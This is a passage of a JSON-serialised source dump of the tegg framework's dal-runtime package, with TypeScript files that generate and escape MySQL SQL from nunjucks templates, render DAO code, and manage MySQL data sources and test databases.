\\`${this.tableModel.name}\\` `;\n    sql += '{% set ___first = true %}';\n\n    const keys: string[] = [];\n    const values: string[] = [];\n    for (const column of this.tableModel.columns) {\n      const { propertyName, columnName, type } = column;\n      if (column.propertyName !== 'gmtCreate' && column.propertyName !== 'gmtModified') {\n        // Add filter for Spatial Type\n        // - toPoint\n        // - toLine\n        // - toPolygon\n        // - toGeometry\n        // - toMultiPoint\n        // - toMultiLine\n        // - toMultiPolygon\n        // - toGeometryCollection\n        keys.push(\n          `\n        {% if $${propertyName} !== undefined %}\n          {% if ___first %}\n            {% set ___first = false %}\n          {% else %}\n          ,\n          {% endif %}\n\n          \\`${columnName}\\`\n        {% endif %}\n        `.trim(),\n        );\n\n        if (TemplateUtil.isSpatialType(column)) {\n          const filter = TemplateUtil.getSpatialFilter(column.type.type);\n          values.push(\n            `\n        {% if $${propertyName} !== undefined %}\n          {% if ___first %}\n            {% set ___first = false %}\n          {% else %}\n          ,\n          {% endif %}\n\n          {{$${propertyName} | ${filter}}}\n        {% endif %}\n        `.trim(),\n          );\n        } else if (column.type.type === ColumnType.JSON) {\n          values.push(\n            `\n        {% if $${propertyName} !== undefined %}\n          {% if ___first %}\n            {% set ___first = false %}\n          {% else %}\n          ,\n          {% endif %}\n\n          {{$${propertyName} | toJson}}\n        {% endif %}\n        `.trim(),\n          );\n        } else {\n          values.push(\n            `\n        {% if $${propertyName} !== undefined %}\n          {% if ___first %}\n            {% set ___first = false %}\n          {% else %}\n          ,\n          {% endif %}\n\n          {{$${propertyName} | param}}\n        {% endif %}\n        `.trim(),\n          );\n        }\n      } else {\n        let now;\n        // Default value for gmtCreate/gmtModified\n        // int:UNIX_TEIMESTAMP\n        // bigint: ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000)\n        // datetime/timestamp Now()\n        if (type.type === ColumnType.INT) {\n          // 秒级时间戳\n          now = 'UNIX_TIMESTAMP()';\n        } else if (type.type === ColumnType.BIGINT) {\n          // 毫秒级时间戳\n          now = 'ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000)';\n        } else if (type.type === ColumnType.DATETIME || type.type === ColumnType.TIMESTAMP) {\n          now = type.precision ? `NOW(${type.precision})` : 'NOW()';\n        } else {\n          this.logger.warn(`unknown type ${type.type} for ${propertyName}`);\n        }\n        keys.push(\n          `\n        {% if ___first %}\n          {% set ___first = false %}\n        {% else %}\n        ,\n        {% endif %}\n\n        \\`${columnName}\\`\n        `.trim(),\n        );\n\n        values.push(\n          `\n        {% if ___first %}\n          {% set ___first = false %}\n        {% else %}\n        ,\n        {% endif %}\n\n        {{ ($${propertyName} | param) if $${propertyName} !== undefined else '${now}' }}\n        `.trim(),\n        );\n      }\n    }\n\n    sql += `(${keys.join('')})`;\n    sql += '{% set ___first = true %}';\n    sql += `VALUES(${values.join('')});`;\n\n    return sql;\n  }\n\n  generateUpdate(): string | undefined {\n    const primary = this.tableModel.getPrimary();\n    if (!primary) {\n      this.logger.warn(`表 \\`${this.tableModel.name}\\` 没有主键，无法生成主键更新语句。`);\n      return;\n    }\n\n    let sql = `UPDATE \\`${this.tableModel.name}\\` SET`;\n    sql += '{% set ___first = true %}';\n    const kv: string[] = [];\n    for (const column of this.tableModel.columns) {\n      const { type, propertyName, columnName } = column;\n      let now;\n      if (type.type === ColumnType.INT) {\n        // 秒级时间戳\n        now = 'UNIX_TIMESTAMP()';\n      } else if (type.type === ColumnType.BIGINT) {\n        // 毫秒级时间戳\n        now = 'ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000)';\n      } else if (type.type === ColumnType.TIMESTAMP || type.type === ColumnType.DATETIME) {\n        now = type.precision ? `NOW(${type.precision})` : 'NOW()';\n      }\n\n      // 若无更新时间字段，则自动更新该字段\n      const temp =\n        propertyName !== 'gmtModified'\n          ? `\n      {% if $${propertyName} !== undefined %}\n        {% if ___first %}\n          {% set ___first = false %}\n        {% else %}\n        ,\n        {% endif %}\n\n        \\`${columnName}\\` = {{$${propertyName} | param}}\n      {% endif %}\n      `\n          : `\n      {% if ___first %}\n        {% set ___first = false %}\n      {% else %}\n      ,\n      {% endif %}\n\n      \\`${columnName}\\` =\n      {{ ($${propertyName} | param) if $${propertyName} !== undefined else '${now}' }}\n      `;\n      kv.push(temp);\n    }\n\n    sql += kv.join('');\n    sql += `WHERE ${primary.keys.map((indexKey) => `\\`${indexKey.columnName}\\` = {{primary.${indexKey.propertyName} | param}}`).join(' AND ')}`;\n\n    return sql;\n  }\n\n  generateDelete(): string | undefined {\n    const primary = this.tableModel.getPrimary();\n    if (!primary) {\n      this.logger.warn(`表 \\`${this.tableModel.name}\\` 没有主键，无法生成主键删除语句。`);\n      return;\n    }\n\n    let sql = `DELETE\n               FROM \\`${this.tableModel.name}\\`\n               WHERE `;\n\n    sql += primary.keys\n      .map((indexKey) => `\\`${indexKey.columnName}\\` = {{${indexKey.propertyName} | param}}`)\n      .join(' AND ');\n\n    return sql;\n  }\n\n  load(): Record<string, SqlMap> {\n    const map: Record<string, SqlMap> = {};\n\n    map.allColumns = {\n      type: SqlType.BLOCK,\n      content: this.generateAllColumns(false),\n    };\n\n    const sqlMaps: Array<GenerateSqlMap> = [\n      /**\n       * 以主键进行索引\n       *\n       *   + `findByPrimary`\n       *   + 若为单主键，则再加 `findBy键名`\n       */\n      ...this.generateFindByPrimary(),\n      /**\n       * findBy 各索引\n       *\n       *   + 若为多列索引，则为 `findBy索引名`\n       *   + 若为单列索引，则为 `findBy列名`\n       */\n      ...this.generateFindByIndexes(),\n      /**\n       * 插入\n       */\n      {\n        name: 'insert',\n        type: SqlType.INSERT,\n        sql: this.generateInsert(),\n      } as GenerateSqlMap,\n      /**\n       * 主键更新\n       */\n      {\n        name: 'update',\n        type: SqlType.UPDATE,\n        sql: this.generateUpdate(),\n      } as GenerateSqlMap,\n      /**\n       * 主键删除\n       */\n      {\n        name: 'delete',\n        type: SqlType.DELETE,\n        sql: this.generateDelete(),\n      } as GenerateSqlMap,\n    ];\n    for (const sqlMap of sqlMaps) {\n      map[sqlMap.name] = {\n        type: sqlMap.type,\n        sql: sqlMap.sql,\n      };\n    }\n\n    return map;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/CodeGenerator.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { ColumnModel, TableModel } from '@eggjs/dal-decorator';\nimport { Templates } from '@eggjs/tegg-types';\nimport type { CodeGeneratorOptions } from '@eggjs/tegg-types';\nimport js_beautify from 'js-beautify';\nimport _ from 'lodash';\nimport nunjucks, { type Environment } from 'nunjucks';\n\nimport { SqlGenerator } from './SqlGenerator.ts';\nimport { TemplateUtil } from './TemplateUtil.ts';\n\nexport class CodeGenerator {\n  private readonly moduleDir: string;\n  private readonly moduleName: string;\n  private readonly teggPkg: string;\n  private readonly dalPkg: string;\n\n  constructor(options: CodeGeneratorOptions) {\n    this.moduleDir = options.moduleDir;\n    this.moduleName = options.moduleName;\n    this.teggPkg = options.teggPkg ?? '@eggjs/tegg';\n    this.dalPkg = options.dalPkg ?? '@eggjs/tegg/dal';\n    this.createNunjucksEnv();\n  }\n\n  private njkEnv: Environment;\n\n  createNunjucksEnv(): void {\n    this.njkEnv = nunjucks.configure(path.join(__dirname, './templates'), {\n      autoescape: false,\n    });\n    this.njkEnv.addFilter('pascalCase', (name) => _.upperFirst(_.camelCase(name)));\n    this.njkEnv.addFilter('camelCase', (name) => _.camelCase(name));\n    this.njkEnv.addFilter('dbTypeToTSType', TemplateUtil.dbTypeToTsType);\n  }\n\n  genCode(tplName: Templates, filePath: string, tableModel: TableModel): string {\n    let tableModelAbsolutePath = PrototypeUtil.getFilePath(tableModel.clazz)!;\n    tableModelAbsolutePath = tableModelAbsolutePath.substring(0, tableModelAbsolutePath.length - 3);\n    const data = {\n      table: tableModel,\n      file: filePath,\n      fileName: path.basename(filePath),\n      clazzName: tableModel.clazz.name,\n      moduleName: this.moduleName,\n      teggPkg: this.teggPkg,\n      dalPkg: this.dalPkg,\n      id: tableModel.columns.find((t) => t.propertyName === 'id'),\n      primaryIndex: tableModel.getPrimary(),\n      tableModelPath: TemplateUtil.importPath(tableModelAbsolutePath, path.dirname(filePath)) + '.ts',\n      extensionPath: `../../extension/${tableModel.clazz.name}Extension.ts`,\n      structurePath: `../../structure/${tableModel.clazz.name}.json`,\n      // FIXME: not support with { type: 'json' } in nunjucks\n      // importStructurePathWithJSON: `import Structure from '../../structure/${tableModel.clazz.name}.json' with { type: 'json' }`,\n      sqlPath: `../../structure/${tableModel.clazz.name}.sql`,\n      columnMap: tableModel.columns.reduce<Record<string, ColumnModel>>((p, c) => {\n        p[c.propertyName] = c;\n        return p;\n      }, {}),\n    };\n    return this.njkEnv.render(`${tplName}.njk`, data);\n  }\n\n  async generate(tableModel: TableModel): Promise<void> {\n    let dalDir: string;\n    try {\n      await fs.access(path.join(this.moduleDir, 'src'));\n      dalDir = path.join(this.moduleDir, 'src/dal');\n    } catch {\n      dalDir = path.join(this.moduleDir, 'dal');\n    }\n\n    // const tableName = tableModel.name;\n    // const clazzName = tableModel.clazz.name;\n    const clazzFileName = path.basename(PrototypeUtil.getFilePath(tableModel.clazz)!);\n    const baseFileName = path.basename(clazzFileName, '.ts');\n\n    // 要动的一些文件\n    const paths = {\n      // e.g. app/dal/dao/base/example.ts\n      baseBizDAO: path.join(dalDir, `dao/base/Base${baseFileName}DAO.ts`),\n      // e.g. app/dal/dao/example.ts\n      bizDAO: path.join(dalDir, `dao/${baseFileName}DAO.ts`),\n      // e.g. app/dal/extension/example.ts\n      extension: path.join(dalDir, `extension/${baseFileName}Extension.ts`),\n      // e.g. app/dal/structure/example.json\n      structure: path.join(dalDir, `structure/${baseFileName}.json`),\n      // e.g. app/dal/structure/example.sql\n      structureSql: path.join(dalDir, `structure/${baseFileName}.sql`),\n    };\n\n    // 建立 structure 文件\n    await fs.mkdir(path.dirname(paths.structure), {\n      recursive: true,\n    });\n    await fs.writeFile(paths.structure, JSON.stringify(tableModel, null, 2), 'utf8');\n\n    const sqlGenerator = new SqlGenerator();\n    const structureSql = sqlGenerator.generate(tableModel);\n    await fs.writeFile(paths.structureSql, structureSql, 'utf8');\n\n    const codes = [\n      {\n        templates: Templates.BASE_DAO,\n        filePath: paths.baseBizDAO,\n        beautify: true,\n        overwrite: true,\n      },\n      {\n        templates: Templates.DAO,\n        filePath: paths.bizDAO,\n        beautify: true,\n        overwrite: false,\n      },\n      {\n        templates: Templates.EXTENSION,\n        filePath: paths.extension,\n        beautify: false,\n        overwrite: false,\n      },\n    ];\n    for (const { templates, filePath, beautify, overwrite } of codes) {\n      await fs.mkdir(path.dirname(filePath), {\n        recursive: true,\n      });\n      const code = this.genCode(templates, filePath, tableModel);\n      let beautified: string;\n      if (beautify) {\n        beautified = js_beautify(code, {\n          brace_style: 'preserve-inline',\n          indent_size: 2,\n          jslint_happy: true,\n          preserve_newlines: false,\n        });\n      } else {\n        beautified = code;\n      }\n      beautified = beautified\n        .replace(/( )*\\/\\/ empty-line( )*/g, '')\n        .replace(/Promise( )*<( )*(.+?)( )*>/g, 'Promise<$3>')\n        .replace(/Optional( )*<( )*(.+?)( )*>/g, 'Optional<$3>')\n        .replace(/Record( )*<( )*(.+?)( )*>/g, 'Record<$3>')\n        .replace(/Partial( )*<( )*(.+?)( )*>/g, 'Partial<$3>')\n        .replace(/DataSource( )*<( )*(.+?)( )*>/g, 'DataSource<$3>')\n        .replace(/ \\? :/g, '?:');\n      if (overwrite !== true) {\n        try {\n          await fs.access(filePath);\n          continue;\n        } catch {\n          // file not exists\n        }\n      }\n      await fs.writeFile(filePath, beautified, 'utf8');\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/DaoLoader.ts",
    "content": "import { DaoInfoUtil } from '@eggjs/dal-decorator';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport { EggLoadUnitType } from '@eggjs/tegg-types';\nimport { type BaseDaoType } from '@eggjs/tegg-types/dal';\n\nexport class DaoLoader {\n  static async loadDaos(moduleDir: string): Promise<Array<BaseDaoType>> {\n    const loader = LoaderFactory.createLoader(moduleDir, EggLoadUnitType.MODULE);\n    const clazzList = await loader.load();\n    return clazzList.filter((t): t is BaseDaoType => {\n      return DaoInfoUtil.getIsDao(t);\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/DataSource.ts",
    "content": "import { TableModel } from '@eggjs/dal-decorator';\nimport type { DataSource as IDataSource, PaginateData, SqlType } from '@eggjs/tegg-types';\n\nimport type { EggQueryOptions } from './MySqlDataSource.ts';\nimport { MysqlDataSource } from './MySqlDataSource.ts';\nimport { TableModelInstanceBuilder } from './TableModelInstanceBuilder.ts';\nimport { TableSqlMap } from './TableSqlMap.ts';\n\nexport interface ExecuteSql {\n  sql: string;\n  params: any[];\n  template: string;\n  sqlType: SqlType;\n}\n\nconst PAGINATE_COUNT_WRAPPER = ['SELECT COUNT(0) as count FROM (', ') AS T'];\n\nexport class DataSource<T> implements IDataSource<T> {\n  private readonly tableModel: TableModel<T>;\n  private readonly mysqlDataSource: MysqlDataSource;\n  private readonly sqlMap: TableSqlMap;\n\n  constructor(tableModel: TableModel<T>, mysqlDataSource: MysqlDataSource, sqlMap: TableSqlMap) {\n    this.tableModel = tableModel;\n    this.mysqlDataSource = mysqlDataSource;\n    this.sqlMap = sqlMap;\n  }\n\n  /**\n   * public for aop execute to implement sql hint append\n   * @param sqlName - sql name\n   * @param data - sql data\n   */\n  async generateSql(sqlName: string, data: object): Promise<ExecuteSql> {\n    const { sql, params } = this.sqlMap.generate(sqlName, data, this.mysqlDataSource.timezone!);\n    const sqlType = this.sqlMap.getType(sqlName);\n    const template = this.sqlMap.getTemplateString(sqlName);\n    return {\n      sql,\n      params,\n      sqlType,\n      template,\n    };\n  }\n\n  async count(sqlName: string, data?: any, options?: EggQueryOptions): Promise<number> {\n    const newData = Object.assign({ $$count: true }, data);\n    const executeSql = await this.generateSql(sqlName, newData);\n    return await this.#paginateCount(executeSql.sql, executeSql.params, options);\n  }\n\n  async execute(sqlName: string, data?: any, options?: EggQueryOptions): Promise<Array<T>> {\n    const executeSql = await this.generateSql(sqlName, data);\n    const rows = await this.mysqlDataSource.query(executeSql.sql, executeSql.params, options);\n    return rows.map((t: any) => {\n      return TableModelInstanceBuilder.buildInstance(this.tableModel, t);\n    });\n  }\n\n  async executeRaw(sqlName: string, data?: any, options?: EggQueryOptions): Promise<Array<any>> {\n    const executeSql = await this.generateSql(sqlName, data);\n    return await this.mysqlDataSource.query(executeSql.sql, executeSql.params, options);\n  }\n\n  async executeScalar(sqlName: string, data?: any, options?: EggQueryOptions): Promise<T | null> {\n    const ret = await this.execute(sqlName, data, options);\n    if (!Array.isArray(ret)) return ret || null;\n    return ret[0] || null;\n  }\n\n  async executeRawScalar(sqlName: string, data?: any, options?: EggQueryOptions): Promise<any | null> {\n    const ret = await this.executeRaw(sqlName, data, options);\n    if (!Array.isArray(ret)) return (ret || null) as any;\n    return ret[0] || null;\n  }\n\n  async paginate(\n    sqlName: string,\n    data: any,\n    currentPage: number,\n    perPageCount: number,\n    options?: EggQueryOptions,\n  ): Promise<PaginateData<T>> {\n    const limit = `LIMIT ${(currentPage - 1) * perPageCount}, ${perPageCount}`;\n    const executeSql = await this.generateSql(sqlName, data);\n    const sql = executeSql.sql + ' ' + limit;\n    const countExecuteSql = await this.generateSql(sqlName, Object.assign({ $$count: true }, data));\n\n    const ret = await Promise.all([\n      this.mysqlDataSource.query(sql, executeSql.params, options),\n      this.#paginateCount(countExecuteSql.sql, countExecuteSql.params, options),\n    ]);\n\n    return {\n      total: Number(ret[1]),\n      pageNum: currentPage,\n      rows: ret[0].map((t: any) => TableModelInstanceBuilder.buildInstance(this.tableModel, t)),\n    };\n  }\n\n  async #paginateCount(baseSQL: string, params?: any[], options?: EggQueryOptions): Promise<number> {\n    const sql = `${PAGINATE_COUNT_WRAPPER[0]}${baseSQL}${PAGINATE_COUNT_WRAPPER[1]}`;\n\n    const result = await this.mysqlDataSource.query(sql, params, options);\n\n    return result[0].count;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/DatabaseForker.ts",
    "content": "import assert from 'node:assert';\n\nimport { RDSClient } from '@eggjs/rds';\n// TODO: should export RDSConnection from @eggjs/rds\nimport type { RDSConnection } from '@eggjs/rds/lib/connection.js';\n\nimport { DaoLoader } from './DaoLoader.ts';\nimport { type DataSourceOptions } from './MySqlDataSource.ts';\n\nexport class DatabaseForker {\n  private readonly env: string;\n  private readonly options: DataSourceOptions;\n\n  constructor(env: string, options: DataSourceOptions) {\n    this.env = env;\n    this.options = options;\n  }\n\n  shouldFork(): boolean {\n    return this.env === 'unittest' && !!this.options.forkDb;\n  }\n\n  async forkDb(moduleDir: string): Promise<void> {\n    assert(this.shouldFork(), 'fork db only run in unittest');\n    // 尽早判断不应该 fork，避免对 rds pool 配置造成污染\n    // eslint-disable-next-line @typescript-eslint/no-unused-vars\n    const { name, initSql, forkDb, database, ...mysqlOptions } = this.options;\n    const client = new RDSClient(Object.assign(mysqlOptions));\n    const conn = await client.getConnection();\n    await this.doCreateUtDb(conn);\n    await this.forkTables(conn, moduleDir);\n    conn.release();\n    await client.end();\n  }\n\n  private async forkTables(conn: RDSConnection, moduleDir: string) {\n    const daoClazzList = await DaoLoader.loadDaos(moduleDir);\n    for (const clazz of daoClazzList) {\n      await this.doForkTable(conn, clazz.tableSql);\n    }\n  }\n\n  private async doForkTable(conn: RDSConnection, sqlFile: string) {\n    const sqls = sqlFile.split(';').filter((t) => !!t.trim());\n    for (const sql of sqls) {\n      await conn.query(sql);\n    }\n  }\n\n  private async doCreateUtDb(conn: RDSConnection) {\n    await conn.query(`CREATE DATABASE IF NOT EXISTS ${this.options.database};`);\n    await conn.query(`use ${this.options.database};`);\n  }\n\n  async destroy(): Promise<void> {\n    assert(this.shouldFork(), 'fork db only run in unittest');\n    // eslint-disable-next-line @typescript-eslint/no-unused-vars\n    const { name, initSql, forkDb, database, ...mysqlOptions } = this.options;\n    const client = new RDSClient(Object.assign(mysqlOptions));\n    await client.query(`DROP DATABASE ${database}`);\n    await client.end();\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/MySqlDataSource.ts",
    "content": "import { RDSClient } from '@eggjs/rds';\nimport type { QueryOptions, RDSClientOptions } from '@eggjs/rds';\nimport type { Logger } from '@eggjs/tegg-types';\nimport { Base } from 'sdk-base';\n\nexport interface EggQueryOptions extends QueryOptions {\n  executeType?: 'execute' | 'query';\n}\n\nexport interface DataSourceOptions extends RDSClientOptions {\n  name: string;\n  // default is select 1 + 1;\n  initSql?: string;\n  forkDb?: boolean;\n  initRetryTimes?: number;\n  logger?: Logger;\n  executeType?: 'execute' | 'query';\n}\n\nconst DEFAULT_OPTIONS: RDSClientOptions = {\n  supportBigNumbers: true,\n  bigNumberStrings: true,\n  trace: true,\n};\n\nconst DEFAULT_RETRY_TIMES = 3;\n\nexport class MysqlDataSource extends Base {\n  private client: RDSClient;\n  private readonly initSql: string;\n  private readonly executeType?: 'execute' | 'query';\n  readonly name: string;\n  readonly timezone?: string;\n  readonly rdsOptions: RDSClientOptions;\n  readonly forkDb?: boolean;\n  readonly #initRetryTimes: number;\n  readonly #logger?: Logger;\n\n  constructor(options: DataSourceOptions) {\n    super({ initMethod: '_init' });\n    const { name, initSql, forkDb, initRetryTimes, logger, executeType, ...mysqlOptions } = options;\n    this.#logger = logger;\n    this.forkDb = forkDb;\n    this.initSql = initSql ?? 'SELECT 1 + 1';\n    this.#initRetryTimes = initRetryTimes ?? DEFAULT_RETRY_TIMES;\n    this.executeType = executeType;\n    this.name = name;\n    this.timezone = options.timezone;\n    this.rdsOptions = Object.assign({}, DEFAULT_OPTIONS, mysqlOptions);\n    this.client = new RDSClient(this.rdsOptions);\n  }\n\n  protected async _init(): Promise<void> {\n    if (this.initSql) {\n      await this.#doInit(1);\n    }\n  }\n\n  async #doInit(tryTimes: number): Promise<void> {\n    try {\n      this.#logger?.log(`${tryTimes} try to initialize dataSource ${this.name}`);\n      const st = Date.now();\n      await this.client.query(this.initSql);\n      this.#logger?.info(`dataSource initialization cost: ${Date.now() - st}, tryTimes: ${tryTimes}`);\n    } catch (e) {\n      this.#logger?.warn(`failed to initialize dataSource ${this.name}, tryTimes ${tryTimes}`, e);\n      if (!this.#initRetryTimes || tryTimes >= this.#initRetryTimes) {\n        throw e;\n      }\n      await this.#doInit(tryTimes + 1);\n    }\n  }\n\n  async query<T = any>(sql: string, params?: any[], options?: EggQueryOptions): Promise<T> {\n    const executeType = options?.executeType || this.executeType;\n    if (executeType === 'execute') {\n      return (this.client as any).execute(sql, params, options);\n    }\n    return this.client.query(sql, params, options);\n  }\n\n  async beginTransactionScope<T>(scope: () => Promise<T>): Promise<T> {\n    return await this.client.beginTransactionScope(scope);\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/NunjucksConverter.ts",
    "content": "export class NunjucksConverter {\n  /**\n   * 将变量 HTML 转义的逻辑改为 MySQL 防注入转义\n   *\n   * eg:\n   *\n   *   output += runtime.suppressValue(runtime.contextOrFrameLookup(context, frame, \"allColumns\")\n   *\n   *   转换为\n   *\n   *   output += runtime.escapeSQL.call(this, \"allColumns\", runtime.contextOrFrameLookup(context,  frame, \"allColumns\")\n   *\n   * @param {String} code 转换前的代码\n   * @return {String} 转换后的代码\n   */\n  static convertNormalVariableCode(code: string): string {\n    return code.replace(\n      /\\Woutput\\W*?\\+=\\W*?runtime\\.suppressValue\\(runtime\\.contextOrFrameLookup\\((.+?),(.*?),\\W*?\"(.+?)\"\\)/g,\n      '\\noutput += runtime.escapeSQL.call(this, \"$3\", runtime.contextOrFrameLookup($1, $2, \"$3\")',\n    );\n  }\n\n  /**\n   * 三目运算的 MySQL 防注入转义\n   *\n   * eg:\n   *\n   *   output += runtime.suppressValue((runtime.contextOrFrameLookup(context, frame, \"$gmtCreate\") !== \\\n   *     runtime.contextOrFrameLookup(context, frame, \"undefined\")?runtime.contextOrFrameLookup(context,\\\n   *     frame, \"$gmtCreate\"):\"NOW()\"), env.opts.autoescape);\n   *\n   *   转换为\n   *\n   *   output += runtime.suppressValue((runtime.contextOrFrameLookup(...) != ...) ?\n   *     runtime.escapeSQL.call(this, \"...\", runtime.contextOrFrameLookup(...)) :\n   *     ...)\n   *\n   * @param {String} code 转换前的代码\n   * @return {String} 转换后的代码\n   */\n  static convertTernaryCode(code: string): string {\n    // 先找到所有的 runtime.suppressValue((...?...:...), env...)\n    const ternaryBefore =\n      code.match(/\\Woutput\\W*?\\+=\\W*?runtime\\.suppressValue\\(\\(.*\\W*?\\?\\W*?.*?:.*\\),\\W*?env\\.opts\\.autoescape/g) || [];\n\n    // 进行逐一处理\n    const ternaryAfter = ternaryBefore.map((str) => {\n      return str\n        .replace(\n          /([?:])runtime\\.contextOrFrameLookup\\((.+?),(.*?),\\W*?\"(.+?)\"\\)/g,\n          '$1runtime.escapeSQL.call(this, \"$4\", runtime.contextOrFrameLookup($2, $3, \"$4\"))',\n        )\n        .replace(/env.opts.autoescape$/g, 'false');\n    });\n\n    // 统一替换\n    for (let i = 0; i < ternaryBefore.length; i++) {\n      code = code.replace(ternaryBefore[i], ternaryAfter[i]);\n    }\n\n    return code;\n  }\n\n  /**\n   * 对象的属性，如 `user.id` 防注入转义\n   *\n   * eg:\n   *   output += runtime.suppressValue(runtime.memberLookup(\\\n   *     (runtime.contextOrFrameLookup(context, frame, \"user\")),\"id\"), env.opts.autoescape);\n   *\n   * 转换为\n   *\n   *   output += runtime.escapeSQL.call(this, \"<...>\", runtime.memberLookup(...), env.opts.autoescape);\n   *\n   * 由于 escapeSQL 中是根据 key 与预定义 block 匹配决定是否转义，而 memberLookup 的状态下总的 key 肯定不会匹配，\n   * 所以找一个绝对不会匹配的 \"<...>\" 传入。事实上它可以是任意一个不会被匹配的字符串，比如说 \">_<\" 等。\n   *\n   * @param {String} code 转换前的代码\n   * @return {String} 转换后的代码\n   */\n  static convertNestedObjectCode(code: string): string {\n    return code.replace(\n      /\\Woutput\\W*?\\+=\\W*?runtime\\.suppressValue\\(runtime\\.memberLookup\\((.+?)\\), env\\.opts\\.autoescape\\)/g,\n      '\\noutput += runtime.escapeSQL.call(this, \"<...>\", runtime.memberLookup($1), env.opts.autoescape)',\n    );\n  }\n\n  /**\n   * For 中的 `t_xxx` 要被转义：\n   *\n   * eg:\n   *   frame.set(\"...\", t_...);\n   *   ...\n   *   output += runtime.suppressValue(t_.., env.opts.autoscape);\n   *\n   * 转换为\n   *\n   *   output += runtime.escapeSQL.call(this, \"for.t_...\", t_..., env.opts.autoescape);\n   *\n   * 由于 escapeSQL 中是根据 key 与预定义 block 匹配决定是否转义，而 memberLookup 的状态下总的 key 肯定不会匹配，\n   * 所以找一个绝对不会匹配的 \"for.t_...\" 传入。事实上它可以是任意一个不会被匹配的字符串，比如说 \">_<\" 等。\n   *\n   * @param {String} code 转换前的代码\n   * @return {String} 转换后的代码\n   */\n  static convertValueInsideFor(code: string): string {\n    return code.replace(\n      /\\Woutput\\W*?\\+=\\W*?runtime\\.suppressValue\\((t_\\d+), env\\.opts\\.autoescape\\)/g,\n      '\\noutput += runtime.escapeSQL.call(this, \"for.$1\", $1, env.opts.autoescape)',\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/NunjucksUtil.ts",
    "content": "import nunjucks, { Template, type Environment } from 'nunjucks';\nimport sqlstring from 'sqlstring';\n\nimport { NunjucksConverter } from './NunjucksConverter.ts';\nimport { SqlUtil } from './SqlUtil.ts';\n\nconst compiler = (nunjucks as any).compiler;\nconst envs: Record<string, Environment> = {};\n\nconst ROOT_RENDER_FUNC = Symbol('rootRenderFunc');\nconst RUNTIME = Object.assign({}, nunjucks.runtime, {\n  escapeSQL: function escapeSQL(this: any, key: string, value: unknown) {\n    // 如果是预定义 block 则不转义\n    if (this.env.globals[key]) return value;\n    return sqlstring.escape(value, true, this.env.timezone);\n  },\n});\n\nfunction _replaceCodeWithSQLFeature(source: string) {\n  const funcs = [\n    'convertNormalVariableCode', // 普通变量\n    'convertTernaryCode', // 三目运算\n    'convertNestedObjectCode', // 对象中的变量，如 `user.id`\n    'convertValueInsideFor', // for 中的值需要转义\n  ] as const;\n\n  return funcs.reduce((source, func) => NunjucksConverter[func](source), source);\n}\n\n/**\n * compile the string into function\n * @see https://github.com/mozilla/nunjucks/blob/2fd547f/src/environment.js#L571-L592\n */\nfunction _compile(this: any) {\n  let source = compiler.compile(this.tmplStr, this.env.asyncFilters, this.env.extensionsList, this.path, this.env.opts);\n\n  /**\n   * 将一些 Nunjucks 的 HTML 转义的代码转换成 SQL 防注入的代码\n   */\n  source = _replaceCodeWithSQLFeature(source);\n\n  // eslint-disable-next-line\n  const props = new Function(source)();\n\n  this.blocks = this._getBlocks(props);\n  this[ROOT_RENDER_FUNC] = props.root;\n  this.rootRenderFunc = function (env: Environment, context: any, frame: any, _runtime: any, cb: any) {\n    /**\n     * 1. 将 runtime 遗弃，用新的\n     * 2. 移除 SQL 语句中多余空白符\n     */\n    return this[ROOT_RENDER_FUNC](env, context, frame, RUNTIME, function (err: Error | null, ret: string) {\n      // istanbul ignore if\n      if (err) return cb(err, ret);\n      return cb(err, SqlUtil.minify(ret || ''));\n    });\n  };\n  this.compiled = true;\n}\n\nexport class NunjucksUtils {\n  static createEnv(modelName: string): Environment {\n    if (envs[modelName]) return envs[modelName];\n\n    const env = (envs[modelName] = nunjucks.configure({\n      autoescape: false,\n    }));\n\n    return env;\n  }\n\n  static compile(modelName: string, sqlName: string, sql: string): Template {\n    // istanbul ignore if\n    if (!envs[modelName]) {\n      throw new Error(`you should create an Environment for ${modelName} first.`);\n    }\n\n    const template = new Template(sql, envs[modelName], `egg-dal:MySQL:${modelName}:${sqlName}`, false);\n\n    // 做一些 hack，使得支持 MySQL 的一些 Escape\n    (template as any)._compile = _compile;\n    (template as any).compile();\n\n    return template;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/SqlGenerator.ts",
    "content": "import { ColumnModel, IndexModel, TableModel } from '@eggjs/dal-decorator';\nimport { ColumnType, IndexType } from '@eggjs/tegg-types';\nimport type { BaseSpatialParams, ColumnTypeParams } from '@eggjs/tegg-types';\n\n// TODO diff 实现\nexport class SqlGenerator {\n  private formatComment(comment: string) {\n    return comment.replace(/\\n/g, '\\\\n');\n  }\n\n  private generateColumn(column: ColumnModel) {\n    const sqls: string[] = [' ', column.columnName, this.generateColumnType(column.type)];\n    if (column.canNull) {\n      sqls.push('NULL');\n    } else {\n      sqls.push('NOT NULL');\n    }\n    if (\n      (\n        [\n          ColumnType.POINT,\n          ColumnType.GEOMETRY,\n          ColumnType.POINT,\n          ColumnType.LINESTRING,\n          ColumnType.POLYGON,\n          ColumnType.MULTIPOINT,\n          ColumnType.MULTILINESTRING,\n          ColumnType.MULTIPOLYGON,\n          ColumnType.GEOMETRYCOLLECTION,\n        ] as ColumnType[]\n      ).includes(column.type.type)\n    ) {\n      const SRID = (column.type as BaseSpatialParams).SRID;\n      if (SRID) {\n        sqls.push(`SRID ${SRID}`);\n      }\n    }\n    if (typeof column.default !== 'undefined') {\n      sqls.push(`DEFAULT ${column.default}`);\n    }\n    if (column.autoIncrement) {\n      sqls.push('AUTO_INCREMENT');\n    }\n    if (column.uniqueKey) {\n      sqls.push('UNIQUE KEY');\n    }\n    if (column.primaryKey) {\n      sqls.push('PRIMARY KEY');\n    }\n    if (column.comment) {\n      sqls.push(`COMMENT '${this.formatComment(column.comment)}'`);\n    }\n    if (column.collate) {\n  